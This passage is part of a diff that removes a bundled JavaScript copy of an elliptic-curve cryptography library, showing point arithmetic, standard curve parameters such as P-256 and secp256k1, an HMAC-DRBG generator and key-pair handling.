16); - } else { - var lambdas = this._getEndoRoots(this.n); - if (this.g.mul(lambdas[0]).x.cmp(this.g.x.redMul(beta)) === 0) { - lambda = lambdas[0]; - } else { - lambda = lambdas[1]; - assert$2(this.g.mul(lambda).x.cmp(this.g.x.redMul(beta)) === 0); - } - } - var basis; - if (conf.basis) { - basis = conf.basis.map(function(vec) { - return { - a: new import_bn2.default(vec.a, 16), - b: new import_bn2.default(vec.b, 16) - }; - }); - } else { - basis = this._getEndoBasis(lambda); - } - return { - beta, - lambda, - basis - }; - }; - ShortCurve.prototype._getEndoRoots = function _getEndoRoots(num) { - var red = num === this.p ? this.red : import_bn2.default.mont(num); - var tinv = new import_bn2.default(2).toRed(red).redInvm(); - var ntinv = tinv.redNeg(); - var s = new import_bn2.default(3).toRed(red).redNeg().redSqrt().redMul(tinv); - var l1 = ntinv.redAdd(s).fromRed(); - var l2 = ntinv.redSub(s).fromRed(); - return [l1, l2]; - }; - ShortCurve.prototype._getEndoBasis = function _getEndoBasis(lambda) { - var aprxSqrt = this.n.ushrn(Math.floor(this.n.bitLength() / 2)); - var u = lambda; - var v = this.n.clone(); - var x1 = new import_bn2.default(1); - var y1 = new import_bn2.default(0); - var x2 = new import_bn2.default(0); - var y2 = new import_bn2.default(1); - var a0; - var b0; - var a1; - var b1; - var a2; - var b2; - var prevR; - var i = 0; - var r22; - var x; - while (u.cmpn(0) !== 0) { - var q = v.div(u); - r22 = v.sub(q.mul(u)); - x = x2.sub(q.mul(x1)); - var y = y2.sub(q.mul(y1)); - if (!a1 && r22.cmp(aprxSqrt) < 0) { - a0 = prevR.neg(); - b0 = x1; - a1 = r22.neg(); - b1 = x; - } else if (a1 && ++i === 2) { - break; - } - prevR = r22; - v = u; - u = r22; - x2 = x1; - x1 = x; - y2 = y1; - y1 = y; - } - a2 = r22.neg(); - b2 = x; - var len1 = a1.sqr().add(b1.sqr()); - var len2 = a2.sqr().add(b2.sqr()); - if (len2.cmp(len1) >= 0) { - a2 = a0; - b2 = b0; - } - if (a1.negative) { - a1 = a1.neg(); - b1 = b1.neg(); - } - if (a2.negative) { - a2 = a2.neg(); - b2 = b2.neg(); - } - return [ - { a: a1, b: b1 }, - { a: a2, b: b2 } - ]; - }; - ShortCurve.prototype._endoSplit = function _endoSplit(k) { - var basis = this.endo.basis; - var v1 = basis[0]; - var v2 = basis[1]; - var c1 = v2.b.mul(k).divRound(this.n); - var c2 = v1.b.neg().mul(k).divRound(this.n); - var p1 = c1.mul(v1.a); - var p2 = c2.mul(v2.a); - var q1 = c1.mul(v1.b); - var q2 = c2.mul(v2.b); - var k1 = k.sub(p1).sub(p2); - var k2 = q1.add(q2).neg(); - return { k1, k2 }; - }; - ShortCurve.prototype.pointFromX = function pointFromX(x, odd) { - x = new import_bn2.default(x, 16); - if (!x.red) - x = x.toRed(this.red); - var y2 = x.redSqr().redMul(x).redIAdd(x.redMul(this.a)).redIAdd(this.b); - var y = y2.redSqrt(); - if (y.redSqr().redSub(y2).cmp(this.zero) !== 0) - throw new Error("invalid point"); - var isOdd = y.fromRed().isOdd(); - if (odd && !isOdd || !odd && isOdd) - y = y.redNeg(); - return this.point(x, y); - }; - ShortCurve.prototype.validate = function validate3(point32) { - if (point32.inf) - return true; - var x = point32.x; - var y = point32.y; - var ax = this.a.redMul(x); - var rhs = x.redSqr().redMul(x).redIAdd(ax).redIAdd(this.b); - return y.redSqr().redISub(rhs).cmpn(0) === 0; - }; - ShortCurve.prototype._endoWnafMulAdd = function _endoWnafMulAdd(points, coeffs, jacobianResult) { - var npoints = this._endoWnafT1; - var ncoeffs = this._endoWnafT2; - for (var i = 0; i < points.length; i++) { - var split = this._endoSplit(coeffs[i]); - var p = points[i]; - var beta = p._getBeta(); - if (split.k1.negative) { - split.k1.ineg(); - p = p.neg(true); - } - if (split.k2.negative) { - split.k2.ineg(); - beta = beta.neg(true); - } - npoints[i * 2] = p; - npoints[i * 2 + 1] = beta; - ncoeffs[i * 2] = split.k1; - ncoeffs[i * 2 + 1] = split.k2; - } - var res = this._wnafMulAdd(1, npoints, ncoeffs, i * 2, jacobianResult); - for (var j = 0; j < i * 2; j++) { - npoints[j] = null; - ncoeffs[j] = null; - } - return res; - }; - function Point(curve, x, y, isRed) { - base.BasePoint.call(this, curve, "affine"); - if (x === null && y === null) { - this.x = null; - this.y = null; - this.inf = true; - } else { - this.x = new import_bn2.default(x, 16); - this.y = new import_bn2.default(y, 16); - if (isRed) { - this.x.forceRed(this.curve.red); - this.y.forceRed(this.curve.red); - } - if (!this.x.red) - this.x = this.x.toRed(this.curve.red); - if (!this.y.red) - this.y = this.y.toRed(this.curve.red); - this.inf = false; - } - } - inherits_browser(Point, base.BasePoint); - ShortCurve.prototype.point = function point2(x, y, isRed) { - return new Point(this, x, y, isRed); - }; - ShortCurve.prototype.pointFromJSON = function pointFromJSON(obj, red) { - return Point.fromJSON(this, obj, red); - }; - Point.prototype._getBeta = function _getBeta2() { - if (!this.curve.endo) - return; - var pre = this.precomputed; - if (pre && pre.beta) - return pre.beta; - var beta = this.curve.point(this.x.redMul(this.curve.endo.beta), this.y); - if (pre) { - var curve = this.curve; - var endoMul = function(p) { - return curve.point(p.x.redMul(curve.endo.beta), p.y); - }; - pre.beta = beta; - beta.precomputed = { - beta: null, - naf: pre.naf && { - wnd: pre.naf.wnd, - points: pre.naf.points.map(endoMul) - }, - doubles: pre.doubles && { - step: pre.doubles.step, - points: pre.doubles.points.map(endoMul) - } - }; - } - return beta; - }; - Point.prototype.toJSON = function toJSON() { - if (!this.precomputed) - return [this.x, this.y]; - return [this.x, this.y, this.precomputed && { - doubles: this.precomputed.doubles && { - step: this.precomputed.doubles.step, - points: this.precomputed.doubles.points.slice(1) - }, - naf: this.precomputed.naf && { - wnd: this.precomputed.naf.wnd, - points: this.precomputed.naf.points.slice(1) - } - }]; - }; - Point.fromJSON = function fromJSON(curve, obj, red) { - if (typeof obj === "string") - obj = JSON.parse(obj); - var res = curve.point(obj[0], obj[1], red); - if (!obj[2]) - return res; - function obj2point(obj2) { - return curve.point(obj2[0], obj2[1], red); - } - var pre = obj[2]; - res.precomputed = { - beta: null, - doubles: pre.doubles && { - step: pre.doubles.step, - points: [res].concat(pre.doubles.points.map(obj2point)) - }, - naf: pre.naf && { - wnd: pre.naf.wnd, - points: [res].concat(pre.naf.points.map(obj2point)) - } - }; - return res; - }; - Point.prototype.inspect = function inspect() { - if (this.isInfinity()) - return ""; - return ""; - }; - Point.prototype.isInfinity = function isInfinity() { - return this.inf; - }; - Point.prototype.add = function add(p) { - if (this.inf) - return p; - if (p.inf) - return this; - if (this.eq(p)) - return this.dbl(); - if (this.neg().eq(p)) - return this.curve.point(null, null); - if (this.x.cmp(p.x) === 0) - return this.curve.point(null, null); - var c = this.y.redSub(p.y); - if (c.cmpn(0) !== 0) - c = c.redMul(this.x.redSub(p.x).redInvm()); - var nx = c.redSqr().redISub(this.x).redISub(p.x); - var ny = c.redMul(this.x.redSub(nx)).redISub(this.y); - return this.curve.point(nx, ny); - }; - Point.prototype.dbl = function dbl() { - if (this.inf) - return this; - var ys1 = this.y.redAdd(this.y); - if (ys1.cmpn(0) === 0) - return this.curve.point(null, null); - var a = this.curve.a; - var x2 = this.x.redSqr(); - var dyinv = ys1.redInvm(); - var c = x2.redAdd(x2).redIAdd(x2).redIAdd(a).redMul(dyinv); - var nx = c.redSqr().redISub(this.x.redAdd(this.x)); - var ny = c.redMul(this.x.redSub(nx)).redISub(this.y); - return this.curve.point(nx, ny); - }; - Point.prototype.getX = function getX() { - return this.x.fromRed(); - }; - Point.prototype.getY = function getY() { - return this.y.fromRed(); - }; - Point.prototype.mul = function mul(k) { - k = new import_bn2.default(k, 16); - if (this.isInfinity()) - return this; - else if (this._hasDoubles(k)) - return this.curve._fixedNafMul(this, k); - else if (this.curve.endo) - return this.curve._endoWnafMulAdd([this], [k]); - else - return this.curve._wnafMul(this, k); - }; - Point.prototype.mulAdd = function mulAdd(k1, p2, k2) { - var points = [this, p2]; - var coeffs = [k1, k2]; - if (this.curve.endo) - return this.curve._endoWnafMulAdd(points, coeffs); - else - return this.curve._wnafMulAdd(1, points, coeffs, 2); - }; - Point.prototype.jmulAdd = function jmulAdd(k1, p2, k2) { - var points = [this, p2]; - var coeffs = [k1, k2]; - if (this.curve.endo) - return this.curve._endoWnafMulAdd(points, coeffs, true); - else - return this.curve._wnafMulAdd(1, points, coeffs, 2, true); - }; - Point.prototype.eq = function eq2(p) { - return this === p || this.inf === p.inf && (this.inf || this.x.cmp(p.x) === 0 && this.y.cmp(p.y) === 0); - }; - Point.prototype.neg = function neg(_precompute) { - if (this.inf) - return this; - var res = this.curve.point(this.x, this.y.redNeg()); - if (_precompute && this.precomputed) { - var pre = this.precomputed; - var negate = function(p) { - return p.neg(); - }; - res.precomputed = { - naf: pre.naf && { - wnd: pre.naf.wnd, - points: pre.naf.points.map(negate) - }, - doubles: pre.doubles && { - step: pre.doubles.step, - points: pre.doubles.points.map(negate) - } - }; - } - return res; - }; - Point.prototype.toJ = function toJ() { - if (this.inf) - return this.curve.jpoint(null, null, null); - var res = this.curve.jpoint(this.x, this.y, this.curve.one); - return res; - }; - function JPoint(curve, x, y, z) { - base.BasePoint.call(this, curve, "jacobian"); - if (x === null && y === null && z === null) { - this.x = this.curve.one; - this.y = this.curve.one; - this.z = new import_bn2.default(0); - } else { - this.x = new import_bn2.default(x, 16); - this.y = new import_bn2.default(y, 16); - this.z = new import_bn2.default(z, 16); - } - if (!this.x.red) - this.x = this.x.toRed(this.curve.red); - if (!this.y.red) - this.y = this.y.toRed(this.curve.red); - if (!this.z.red) - this.z = this.z.toRed(this.curve.red); - this.zOne = this.z === this.curve.one; - } - inherits_browser(JPoint, base.BasePoint); - ShortCurve.prototype.jpoint = function jpoint(x, y, z) { - return new JPoint(this, x, y, z); - }; - JPoint.prototype.toP = function toP() { - if (this.isInfinity()) - return this.curve.point(null, null); - var zinv = this.z.redInvm(); - var zinv2 = zinv.redSqr(); - var ax = this.x.redMul(zinv2); - var ay = this.y.redMul(zinv2).redMul(zinv); - return this.curve.point(ax, ay); - }; - JPoint.prototype.neg = function neg2() { - return this.curve.jpoint(this.x, this.y.redNeg(), this.z); - }; - JPoint.prototype.add = function add2(p) { - if (this.isInfinity()) - return p; - if (p.isInfinity()) - return this; - var pz2 = p.z.redSqr(); - var z2 = this.z.redSqr(); - var u1 = this.x.redMul(pz2); - var u2 = p.x.redMul(z2); - var s1 = this.y.redMul(pz2.redMul(p.z)); - var s2 = p.y.redMul(z2.redMul(this.z)); - var h = u1.redSub(u2); - var r22 = s1.redSub(s2); - if (h.cmpn(0) === 0) { - if (r22.cmpn(0) !== 0) - return this.curve.jpoint(null, null, null); - else - return this.dbl(); - } - var h2 = h.redSqr(); - var h3 = h2.redMul(h); - var v = u1.redMul(h2); - var nx = r22.redSqr().redIAdd(h3).redISub(v).redISub(v); - var ny = r22.redMul(v.redISub(nx)).redISub(s1.redMul(h3)); - var nz = this.z.redMul(p.z).redMul(h); - return this.curve.jpoint(nx, ny, nz); - }; - JPoint.prototype.mixedAdd = function mixedAdd(p) { - if (this.isInfinity()) - return p.toJ(); - if (p.isInfinity()) - return this; - var z2 = this.z.redSqr(); - var u1 = this.x; - var u2 = p.x.redMul(z2); - var s1 = this.y; - var s2 = p.y.redMul(z2).redMul(this.z); - var h = u1.redSub(u2); - var r22 = s1.redSub(s2); - if (h.cmpn(0) === 0) { - if (r22.cmpn(0) !== 0) - return this.curve.jpoint(null, null, null); - else - return this.dbl(); - } - var h2 = h.redSqr(); - var h3 = h2.redMul(h); - var v = u1.redMul(h2); - var nx = r22.redSqr().redIAdd(h3).redISub(v).redISub(v); - var ny = r22.redMul(v.redISub(nx)).redISub(s1.redMul(h3)); - var nz = this.z.redMul(h); - return this.curve.jpoint(nx, ny, nz); - }; - JPoint.prototype.dblp = function dblp2(pow) { - if (pow === 0) - return this; - if (this.isInfinity()) - return this; - if (!pow) - return this.dbl(); - var i; - if (this.curve.zeroA || this.curve.threeA) { - var r22 = this; - for (i = 0; i < pow; i++) - r22 = r22.dbl(); - return r22; - } - var a = this.curve.a; - var tinv = this.curve.tinv; - var jx = this.x; - var jy = this.y; - var jz = this.z; - var jz4 = jz.redSqr().redSqr(); - var jyd = jy.redAdd(jy); - for (i = 0; i < pow; i++) { - var jx2 = jx.redSqr(); - var jyd2 = jyd.redSqr(); - var jyd4 = jyd2.redSqr(); - var c = jx2.redAdd(jx2).redIAdd(jx2).redIAdd(a.redMul(jz4)); - var t1 = jx.redMul(jyd2); - var nx = c.redSqr().redISub(t1.redAdd(t1)); - var t2 = t1.redISub(nx); - var dny = c.redMul(t2); - dny = dny.redIAdd(dny).redISub(jyd4); - var nz = jyd.redMul(jz); - if (i + 1 < pow) - jz4 = jz4.redMul(jyd4); - jx = nx; - jz = nz; - jyd = dny; - } - return this.curve.jpoint(jx, jyd.redMul(tinv), jz); - }; - JPoint.prototype.dbl = function dbl2() { - if (this.isInfinity()) - return this; - if (this.curve.zeroA) - return this._zeroDbl(); - else if (this.curve.threeA) - return this._threeDbl(); - else - return this._dbl(); - }; - JPoint.prototype._zeroDbl = function _zeroDbl() { - var nx; - var ny; - var nz; - if (this.zOne) { - var xx = this.x.redSqr(); - var yy = this.y.redSqr(); - var yyyy = yy.redSqr(); - var s = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy); - s = s.redIAdd(s); - var m = xx.redAdd(xx).redIAdd(xx); - var t = m.redSqr().redISub(s).redISub(s); - var yyyy8 = yyyy.redIAdd(yyyy); - yyyy8 = yyyy8.redIAdd(yyyy8); - yyyy8 = yyyy8.redIAdd(yyyy8); - nx = t; - ny = m.redMul(s.redISub(t)).redISub(yyyy8); - nz = this.y.redAdd(this.y); - } else { - var a = this.x.redSqr(); - var b = this.y.redSqr(); - var c = b.redSqr(); - var d = this.x.redAdd(b).redSqr().redISub(a).redISub(c); - d = d.redIAdd(d); - var e = a.redAdd(a).redIAdd(a); - var f = e.redSqr(); - var c8 = c.redIAdd(c); - c8 = c8.redIAdd(c8); - c8 = c8.redIAdd(c8); - nx = f.redISub(d).redISub(d); - ny = e.redMul(d.redISub(nx)).redISub(c8); - nz = this.y.redMul(this.z); - nz = nz.redIAdd(nz); - } - return this.curve.jpoint(nx, ny, nz); - }; - JPoint.prototype._threeDbl = function _threeDbl() { - var nx; - var ny; - var nz; - if (this.zOne) { - var xx = this.x.redSqr(); - var yy = this.y.redSqr(); - var yyyy = yy.redSqr(); - var s = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy); - s = s.redIAdd(s); - var m = xx.redAdd(xx).redIAdd(xx).redIAdd(this.curve.a); - var t = m.redSqr().redISub(s).redISub(s); - nx = t; - var yyyy8 = yyyy.redIAdd(yyyy); - yyyy8 = yyyy8.redIAdd(yyyy8); - yyyy8 = yyyy8.redIAdd(yyyy8); - ny = m.redMul(s.redISub(t)).redISub(yyyy8); - nz = this.y.redAdd(this.y); - } else { - var delta = this.z.redSqr(); - var gamma = this.y.redSqr(); - var beta = this.x.redMul(gamma); - var alpha = this.x.redSub(delta).redMul(this.x.redAdd(delta)); - alpha = alpha.redAdd(alpha).redIAdd(alpha); - var beta4 = beta.redIAdd(beta); - beta4 = beta4.redIAdd(beta4); - var beta8 = beta4.redAdd(beta4); - nx = alpha.redSqr().redISub(beta8); - nz = this.y.redAdd(this.z).redSqr().redISub(gamma).redISub(delta); - var ggamma8 = gamma.redSqr(); - ggamma8 = ggamma8.redIAdd(ggamma8); - ggamma8 = ggamma8.redIAdd(ggamma8); - ggamma8 = ggamma8.redIAdd(ggamma8); - ny = alpha.redMul(beta4.redISub(nx)).redISub(ggamma8); - } - return this.curve.jpoint(nx, ny, nz); - }; - JPoint.prototype._dbl = function _dbl() { - var a = this.curve.a; - var jx = this.x; - var jy = this.y; - var jz = this.z; - var jz4 = jz.redSqr().redSqr(); - var jx2 = jx.redSqr(); - var jy2 = jy.redSqr(); - var c = jx2.redAdd(jx2).redIAdd(jx2).redIAdd(a.redMul(jz4)); - var jxd4 = jx.redAdd(jx); - jxd4 = jxd4.redIAdd(jxd4); - var t1 = jxd4.redMul(jy2); - var nx = c.redSqr().redISub(t1.redAdd(t1)); - var t2 = t1.redISub(nx); - var jyd8 = jy2.redSqr(); - jyd8 = jyd8.redIAdd(jyd8); - jyd8 = jyd8.redIAdd(jyd8); - jyd8 = jyd8.redIAdd(jyd8); - var ny = c.redMul(t2).redISub(jyd8); - var nz = jy.redAdd(jy).redMul(jz); - return this.curve.jpoint(nx, ny, nz); - }; - JPoint.prototype.trpl = function trpl() { - if (!this.curve.zeroA) - return this.dbl().add(this); - var xx = this.x.redSqr(); - var yy = this.y.redSqr(); - var zz = this.z.redSqr(); - var yyyy = yy.redSqr(); - var m = xx.redAdd(xx).redIAdd(xx); - var mm = m.redSqr(); - var e = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy); - e = e.redIAdd(e); - e = e.redAdd(e).redIAdd(e); - e = e.redISub(mm); - var ee = e.redSqr(); - var t = yyyy.redIAdd(yyyy); - t = t.redIAdd(t); - t = t.redIAdd(t); - t = t.redIAdd(t); - var u = m.redIAdd(e).redSqr().redISub(mm).redISub(ee).redISub(t); - var yyu4 = yy.redMul(u); - yyu4 = yyu4.redIAdd(yyu4); - yyu4 = yyu4.redIAdd(yyu4); - var nx = this.x.redMul(ee).redISub(yyu4); - nx = nx.redIAdd(nx); - nx = nx.redIAdd(nx); - var ny = this.y.redMul(u.redMul(t.redISub(u)).redISub(e.redMul(ee))); - ny = ny.redIAdd(ny); - ny = ny.redIAdd(ny); - ny = ny.redIAdd(ny); - var nz = this.z.redAdd(e).redSqr().redISub(zz).redISub(ee); - return this.curve.jpoint(nx, ny, nz); - }; - JPoint.prototype.mul = function mul2(k, kbase) { - k = new import_bn2.default(k, kbase); - return this.curve._wnafMul(this, k); - }; - JPoint.prototype.eq = function eq3(p) { - if (p.type === "affine") - return this.eq(p.toJ()); - if (this === p) - return true; - var z2 = this.z.redSqr(); - var pz2 = p.z.redSqr(); - if (this.x.redMul(pz2).redISub(p.x.redMul(z2)).cmpn(0) !== 0) - return false; - var z3 = z2.redMul(this.z); - var pz3 = pz2.redMul(p.z); - return this.y.redMul(pz3).redISub(p.y.redMul(z3)).cmpn(0) === 0; - }; - JPoint.prototype.eqXToP = function eqXToP(x) { - var zs = this.z.redSqr(); - var rx = x.toRed(this.curve.red).redMul(zs); - if (this.x.cmp(rx) === 0) - return true; - var xc = x.clone(); - var t = this.curve.redN.redMul(zs); - for (; ; ) { - xc.iadd(this.curve.n); - if (xc.cmp(this.curve.p) >= 0) - return false; - rx.redIAdd(t); - if (this.x.cmp(rx) === 0) - return true; - } - }; - JPoint.prototype.inspect = function inspect2() { - if (this.isInfinity()) - return ""; - return ""; - }; - JPoint.prototype.isInfinity = function isInfinity2() { - return this.z.cmpn(0) === 0; - }; - var curve_1 = createCommonjsModule(function(module, exports) { - "use strict"; - var curve = exports; - curve.base = base; - curve.short = short_1; - curve.mont = /*RicMoo:ethers:require(./mont)*/ - null; - curve.edwards = /*RicMoo:ethers:require(./edwards)*/ - null; - }); - var curves_1 = createCommonjsModule(function(module, exports) { - "use strict"; - var curves = exports; - var assert22 = utils_1$1.assert; - function PresetCurve(options) { - if (options.type === "short") - this.curve = new curve_1.short(options); - else if (options.type === "edwards") - this.curve = new curve_1.edwards(options); - else - this.curve = new curve_1.mont(options); - this.g = this.curve.g; - this.n = this.curve.n; - this.hash = options.hash; - assert22(this.g.validate(), "Invalid curve"); - assert22(this.g.mul(this.n).isInfinity(), "Invalid curve, G*N != O"); - } - curves.PresetCurve = PresetCurve; - function defineCurve(name, options) { - Object.defineProperty(curves, name, { - configurable: true, - enumerable: true, - get: function() { - var curve = new PresetCurve(options); - Object.defineProperty(curves, name, { - configurable: true, - enumerable: true, - value: curve - }); - return curve; - } - }); - } - defineCurve("p192", { - type: "short", - prime: "p192", - p: "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff", - a: "ffffffff ffffffff ffffffff fffffffe ffffffff fffffffc", - b: "64210519 e59c80e7 0fa7e9ab 72243049 feb8deec c146b9b1", - n: "ffffffff ffffffff ffffffff 99def836 146bc9b1 b4d22831", - hash: import_hash2.default.sha256, - gRed: false, - g: [ - "188da80e b03090f6 7cbf20eb 43a18800 f4ff0afd 82ff1012", - "07192b95 ffc8da78 631011ed 6b24cdd5 73f977a1 1e794811" - ] - }); - defineCurve("p224", { - type: "short", - prime: "p224", - p: "ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001", - a: "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff fffffffe", - b: "b4050a85 0c04b3ab f5413256 5044b0b7 d7bfd8ba 270b3943 2355ffb4", - n: "ffffffff ffffffff ffffffff ffff16a2 e0b8f03e 13dd2945 5c5c2a3d", - hash: import_hash2.default.sha256, - gRed: false, - g: [ - "b70e0cbd 6bb4bf7f 321390b9 4a03c1d3 56c21122 343280d6 115c1d21", - "bd376388 b5f723fb 4c22dfe6 cd4375a0 5a074764 44d58199 85007e34" - ] - }); - defineCurve("p256", { - type: "short", - prime: null, - p: "ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff ffffffff", - a: "ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff fffffffc", - b: "5ac635d8 aa3a93e7 b3ebbd55 769886bc 651d06b0 cc53b0f6 3bce3c3e 27d2604b", - n: "ffffffff 00000000 ffffffff ffffffff bce6faad a7179e84 f3b9cac2 fc632551", - hash: import_hash2.default.sha256, - gRed: false, - g: [ - "6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0 f4a13945 d898c296", - "4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ece cbb64068 37bf51f5" - ] - }); - defineCurve("p384", { - type: "short", - prime: null, - p: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 ffffffff", - a: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 fffffffc", - b: "b3312fa7 e23ee7e4 988e056b e3f82d19 181d9c6e fe814112 0314088f 5013875a c656398d 8a2ed19d 2a85c8ed d3ec2aef", - n: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff c7634d81 f4372ddf 581a0db2 48b0a77a ecec196a ccc52973", - hash: import_hash2.default.sha384, - gRed: false, - g: [ - "aa87ca22 be8b0537 8eb1c71e f320ad74 6e1d3b62 8ba79b98 59f741e0 82542a38 5502f25d bf55296c 3a545e38 72760ab7", - "3617de4a 96262c6f 5d9e98bf 9292dc29 f8f41dbd 289a147c e9da3113 b5f0b8c0 0a60b1ce 1d7e819d 7a431d7c 90ea0e5f" - ] - }); - defineCurve("p521", { - type: "short", - prime: null, - p: "000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff", - a: "000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffc", - b: "00000051 953eb961 8e1c9a1f 929a21a0 b68540ee a2da725b 99b315f3 b8b48991 8ef109e1 56193951 ec7e937b 1652c0bd 3bb1bf07 3573df88 3d2c34f1 ef451fd4 6b503f00", - n: "000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffa 51868783 bf2f966b 7fcc0148 f709a5d0 3bb5c9b8 899c47ae bb6fb71e 91386409", - hash: import_hash2.default.sha512, - gRed: false, - g: [ - "000000c6 858e06b7 0404e9cd 9e3ecb66 2395b442 9c648139 053fb521 f828af60 6b4d3dba a14b5e77 efe75928 fe1dc127 a2ffa8de 3348b3c1 856a429b f97e7e31 c2e5bd66", - "00000118 39296a78 9a3bc004 5c8a5fb4 2c7d1bd9 98f54449 579b4468 17afbd17 273e662c 97ee7299 5ef42640 c550b901 3fad0761 353c7086 a272c240 88be9476 9fd16650" - ] - }); - defineCurve("curve25519", { - type: "mont", - prime: "p25519", - p: "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed", - a: "76d06", - b: "1", - n: "1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed", - hash: import_hash2.default.sha256, - gRed: false, - g: [ - "9" - ] - }); - defineCurve("ed25519", { - type: "edwards", - prime: "p25519", - p: "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed", - a: "-1", - c: "1", - // -121665 * (121666^(-1)) (mod P) - d: "52036cee2b6ffe73 8cc740797779e898 00700a4d4141d8ab 75eb4dca135978a3", - n: "1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed", - hash: import_hash2.default.sha256, - gRed: false, - g: [ - "216936d3cd6e53fec0a4e231fdd6dc5c692cc7609525a7b2c9562d608f25d51a", - // 4/5 - "6666666666666666666666666666666666666666666666666666666666666658" - ] - }); - var pre; - try { - pre = /*RicMoo:ethers:require(./precomputed/secp256k1)*/ - null.crash(); - } catch (e) { - pre = void 0; - } - defineCurve("secp256k1", { - type: "short", - prime: "k256", - p: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f", - a: "0", - b: "7", - n: "ffffffff ffffffff ffffffff fffffffe baaedce6 af48a03b bfd25e8c d0364141", - h: "1", - hash: import_hash2.default.sha256, - // Precomputed endomorphism - beta: "7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee", - lambda: "5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72", - basis: [ - { - a: "3086d221a7d46bcde86c90e49284eb15", - b: "-e4437ed6010e88286f547fa90abfe4c3" - }, - { - a: "114ca50f7a8e2f3f657c1108d9d44cfd8", - b: "3086d221a7d46bcde86c90e49284eb15" - } - ], - gRed: false, - g: [ - "79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798", - "483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8", - pre - ] - }); - }); - function HmacDRBG(options) { - if (!(this instanceof HmacDRBG)) - return new HmacDRBG(options); - this.hash = options.hash; - this.predResist = !!options.predResist; - this.outLen = this.hash.outSize; - this.minEntropy = options.minEntropy || this.hash.hmacStrength; - this._reseed = null; - this.reseedInterval = null; - this.K = null; - this.V = null; - var entropy = utils_1.toArray(options.entropy, options.entropyEnc || "hex"); - var nonce = utils_1.toArray(options.nonce, options.nonceEnc || "hex"); - var pers = utils_1.toArray(options.pers, options.persEnc || "hex"); - minimalisticAssert( - entropy.length >= this.minEntropy / 8, - "Not enough entropy. Minimum is: " + this.minEntropy + " bits" - ); - this._init(entropy, nonce, pers); - } - var hmacDrbg = HmacDRBG; - HmacDRBG.prototype._init = function init(entropy, nonce, pers) { - var seed = entropy.concat(nonce).concat(pers); - this.K = new Array(this.outLen / 8); - this.V = new Array(this.outLen / 8); - for (var i = 0; i < this.V.length; i++) { - this.K[i] = 0; - this.V[i] = 1; - } - this._update(seed); - this._reseed = 1; - this.reseedInterval = 281474976710656; - }; - HmacDRBG.prototype._hmac = function hmac() { - return new import_hash2.default.hmac(this.hash, this.K); - }; - HmacDRBG.prototype._update = function update(seed) { - var kmac = this._hmac().update(this.V).update([0]); - if (seed) - kmac = kmac.update(seed); - this.K = kmac.digest(); - this.V = this._hmac().update(this.V).digest(); - if (!seed) - return; - this.K = this._hmac().update(this.V).update([1]).update(seed).digest(); - this.V = this._hmac().update(this.V).digest(); - }; - HmacDRBG.prototype.reseed = function reseed(entropy, entropyEnc, add32, addEnc) { - if (typeof entropyEnc !== "string") { - addEnc = add32; - add32 = entropyEnc; - entropyEnc = null; - } - entropy = utils_1.toArray(entropy, entropyEnc); - add32 = utils_1.toArray(add32, addEnc); - minimalisticAssert( - entropy.length >= this.minEntropy / 8, - "Not enough entropy. Minimum is: " + this.minEntropy + " bits" - ); - this._update(entropy.concat(add32 || [])); - this._reseed = 1; - }; - HmacDRBG.prototype.generate = function generate(len, enc, add32, addEnc) { - if (this._reseed > this.reseedInterval) - throw new Error("Reseed is required"); - if (typeof enc !== "string") { - addEnc = add32; - add32 = enc; - enc = null; - } - if (add32) { - add32 = utils_1.toArray(add32, addEnc || "hex"); - this._update(add32); - } - var temp = []; - while (temp.length < len) { - this.V = this._hmac().update(this.V).digest(); - temp = temp.concat(this.V); - } - var res = temp.slice(0, len); - this._update(add32); - this._reseed++; - return utils_1.encode(res, enc); - }; - var assert$3 = utils_1$1.assert; - function KeyPair(ec22, options) { - this.ec = ec22; - this.priv = null; - this.pub = null; - if (options.priv) - this._importPrivate(options.priv, options.privEnc); - if (options.pub) - this._importPublic(options.pub, options.pubEnc); - } - var key = KeyPair; - KeyPair.fromPublic = function fromPublic(ec22, pub, enc) { - if (pub instanceof KeyPair) - return pub; - return new KeyPair(ec22, { - pub, - pubEnc: enc - }); - }; - KeyPair.fromPrivate = function fromPrivate(ec22, priv, enc) { - if (priv instanceof KeyPair) - return priv; - return new KeyPair(ec22, { - priv, - privEnc: enc - }); - }; - KeyPair.prototype.validate = function validate4() { - var pub = this.getPublic(); - if (pub.isInfinity()) - return { result: false, reason: "Invalid public key" }; - if (!pub.validate()) - return { result: false, reason: "Public key is not a point" }; - if (!pub.mul(this.ec.curve.n).isInfinity()) - return { result: false, reason: "Public key * N != O" }; - return { result: true, reason: null }; - }; - KeyPair.prototype.getPublic = function getPublic(compact, enc) { - if (typeof compact === "string") { - enc = compact; - compact = null; - } - if (!this.pub) - this.pub = this.ec.g.mul(this.priv); - if (!enc) - return this.pub; 